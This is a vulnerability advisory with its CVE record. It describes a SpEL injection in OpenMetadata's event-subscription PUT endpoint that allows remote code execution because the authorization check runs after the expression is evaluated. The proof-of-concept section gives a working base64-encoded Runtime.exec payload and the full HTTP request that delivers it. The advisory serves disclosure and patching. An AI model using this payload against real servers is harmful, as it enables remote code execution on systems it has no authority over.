Summary

OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

Details

SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.

  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():

@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

Prepare the payload
- Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
- Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
Send the payload using a valid JWT token:

PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353

{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}

Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

CVE-2024-28847 (GCVE-0-2024-28847)

Vulnerability from cvelistv5 – Published: 2024-03-15 19:55 – Updated: 2024-08-27 19:40

Title

SpEL Injection in `PUT /api/v1/events/subscriptions` in OpenMetadata

Summary

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from `EventSubscriptionRepository.prepare()`, which can lead to Remote Code Execution. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by `EventSubscriptionResource.createOrUpdateEventSubscription()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query. This issue may lead to Remote Code Execution and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-251`.

Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from `EventSubscriptionRepository.prepare()`, which can lead to Remote Code Execution. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by `EventSubscriptionResource.createOrUpdateEventSubscription()`. This vulnerability was discovered with the help of CodeQL\u0027s Expression language injection (Spring) query. This issue may lead to Remote Code Execution and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-251`."

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
